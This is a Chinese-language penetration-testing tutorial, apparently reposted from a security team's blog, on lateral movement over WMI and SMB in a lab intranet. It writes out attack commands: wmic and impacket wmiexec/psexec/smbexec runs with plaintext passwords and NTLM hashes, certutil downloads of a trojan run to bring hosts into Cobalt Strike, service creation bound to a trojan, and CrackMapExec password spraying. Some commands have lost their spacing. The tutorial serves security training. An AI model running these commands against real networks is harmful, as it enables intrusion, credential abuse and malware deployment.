WMI
什么是WMI?
WMI是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因此在利用过程中不会产生日志。所以越来越多的攻击者开始渐渐使用WMI进行攻击。
WMI的利用条件
1.获得目标机器的用户名和密码
2.开放139、445端口
WMIC的使用需要对方开启135端口(有的工具需要445端口)和admin$共享,135端口是WMI默认的管理端口
WMI利用手法
WMI演示环境如下图:
WMIC
系统自带的WMIC命令是单执行,无回显的,并且只支持明文密码,不支持hash进行传递 在这里,我们对SQLserver执行了一个ipconfig的命令,并将结果保存在C盘的ip.txt文件中:
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/cipconfig>c:ip.txt
可以看到我们并无法直接看到命令的回显,但我们上帝视角切到靶机发现确实是执行命令了的 。
这里如果在实战中,如果想要查看文件内容和文件是否上传成功的话,就要使用上篇文章内网移动-IPC中的type和dir命令
dir\192.168.3.32c$#列出该主机的C盘下的文件 type\192.168.3.32c$ip.txt
这里将其上线CS的步骤也是:使用下载命令让其下载Web Server中的木马,执行上线
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/ccertutil-urlcache-split-f "#下载Webserver中的木马文件到自己的C盘
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/cc:/4444.exe"#执行木马
可以看到此时sqlserver成功被上线。
wmiexec.vbs
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs,交互式,适合在反弹shell或msfconsole中使用,不适合CS控制 首先我们将其上传到跳板机中,然后再使用命令去连接,由于CS无法返回shell的问题,所以该脚本并不适用于在CS中运行,所以这里我选择将会话转移到MSF中去运行。
cscript//nologowmiexec.vbs/shell192.168.3.32administratoradmin!@#45
可以看到在MSF中运行了该文件后,成功将sqlserver的shell反弹了过来,在此我们可以直接让其下载后门并执行,上线到我们的CS中。
cmd.exe/ccertutil-urlcache-split-f
可以看到SQLserver成功上线CS
wmiexec-impacket
impacket套件中的wmiexec同样可对WMI进行横向移动,并且支持交互式与单执行,支持hash进行传递,相对来说更为方便,这里直接使用它的py脚本配合socket代理就可以对其内网进行横向移动,避免了上传文件等敏感操作。首先设置好Socket代理,与proxifier的代理与代理规则
配置好socket代理与规则后,就可直接在本机中调用wmiexec.py文件对其内网进行wmi利用
pythonwmiexec.py./administrator:Admin12345@192.168.3.21#通过明文密码连接获得目标本地用户交互式shell pythonwmiexec.pygod/administrator:Admin12345@192.168.3.21#通过明文密码连接获得目标域用户交互式shell
通过该命令成功获得一个交互式的shell,那么wmiexec.py也可单执行命令。
pythonwmiexec.py./administrator:admin!@#45@192.168.3.32"whoami"#以明文密码连接本地用户并执行命令
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"whoami"#以hash密码连接本地用户并执行命令
这里将目标上线CS的方式和上面一致,通过命令下载木马并执行。
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"cmd.exe/ccertutil-urlcache-split-f "
SMB
什么是SMB?
SMB(Server Message Block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件
SMB的利用条件
1. 利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
2.获得该目标的账号名与密码或hash
SMB利用手法
SMB演示环境如下图:
PsExec
官方Psexec
Psexec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中,但不支持hash传递,且CS无法利用,而且该工具好像只能在具有桌面权限后才可进行利用,我这里使用msf和反弹shell都无法成功反弹shell.... 这里将psexec.64上传到跳板机中
然后在跳板机桌面中运行该工具,就会反弹出目标机器的shell,如下图所示
psexec64.exe\192.168.3.32-uadministrator-padmin!@#45-scmd
Impacket-PsExec
还有一个psexec就是我们的impacket套件中的工具,官方psexec有诸多限制,如不支持hash、cs、msf无法利用成功等问题,所以这里选择使用impacket中的psexec工具就相对来说比较灵活,同样,为了避免发送上传文件时数据丢失或被查杀等问题,我们可使用socket+psexec.py对其内网进行横向移动。socket配置此处不再描述,这里直接使用impacket-Psexec.py进行利用
psexec.py./administrator:admin!@#45@192.168.3.32#通过明文密码连接获得目标本地用户交互式shell psexec.pygod/administrator:Admin12345@192.168.3.21#通过明文密码连接获得目标域用户交互式shell
pythonpsexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32#通过哈希密码连接获得目标本地用户交互式shell pythonpsexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21#通过哈希密码连接获得目标域用户交互式shell
CS插件-psexec
在我们的CS中其实也有PSEXEC利用功能,且利用较为方便与简单,在targets中选中目标右键即可弹出利用选项,且支持hash的移动
点击psexec64后,就会让我们选择用户名密码与所登录域等,这里我们直接选择之前我们在跳板机中所收集的密码,Domain置空的话为本地用户登录,输入域名后则为域用户登录,选择监听器和会话之后,点击Launch即可。
这里看到Sqlserver成功上线,这里如果想以域用户的身份登录时,Domain处输入域名即为域用户身份登录。
较为简单,这里不做过多讲解。
smbexec-impacket
在impacket中smbexec工具也可以进行移动,该工具利用方式和psexec利用方式相同,这里简单介绍一下即可
pythonsmbexec.py./administrator:admin!@#45@192.168.3.32#通过明文密码连接获得目标本地用户交互式shell pythonsmbexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21#通过哈希密码连接获得目标域用户交互式shell
Services
同时还有一个系统自带的服务也可进行利用,该服务支持哈希密码传递,且为单执行无回显,无法交互shell。具体利用过程如下:首先建立SMB连接后,创建一个服务,服务绑定木马,然后在启动该服务,即可上线到CS中
services-hashes:518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32create-nameshell-displayshellexec-pathC:4444.exe#建立SMB连接并创建服务绑定木马 services-hashes:518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32start-nameshell#启动shell服务
CrackMapExec
在内网渗透中,能获取到主机管理员账号密码,将会使我们横向事半功倍,尤其是在大内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样:不断收集内网账号密码,不断去喷洒。这时我们就需要类似CrackMapExec这样的密码喷洒工具,对其内网进行密码喷洒。CrackMap同样的,CrackMapExec支持本地、域内和明文密文的fuzz,具体利用命令如下:域用户明文密码喷洒:
proxychainscrackmapexecsmb192.168.3.21-32-udbadmin-p'Admin12345'
本地用户明文密码喷洒:
proxychainscrackmapexecsmb192.168.3.21-32-uadministrator-p'admin!@#45'--local-auth
域内用户hash密码喷洒
proxychainscrackmapexecsmb192.168.3.32-udbadmin-H'518b98ad4178a53695dc997aa02d455c'
本地用户hash密码喷洒
proxychainscrackmapexecsmb192.168.3.32-uadministrator-H'518b98ad4178a53695dc997aa02d455c'--local-auth
执行命令也是非常的简单,这里直接在上面命令后加上-x 'bash' 即可
proxychainscrackmapexecsmb192.168.3.32-uadministrator-H'518b98ad4178a53695dc997aa02d455c'--local-auth-x'whoami'
当然这里也可以通过已经喷洒出的主机和密码配合CS中的psexec上线到CS中。此处就不再演示。
审核编辑:刘清
-
SQL
+关注
关注
1文章
764浏览量
44127 -
SMB
+关注
关注
0文章
38浏览量
11761 -
WMI
+关注
关注
0文章
2浏览量
6079 -
Hash算法
+关注
关注
0文章
43浏览量
7382
原文标题:横向移动-WMI、SMB
文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论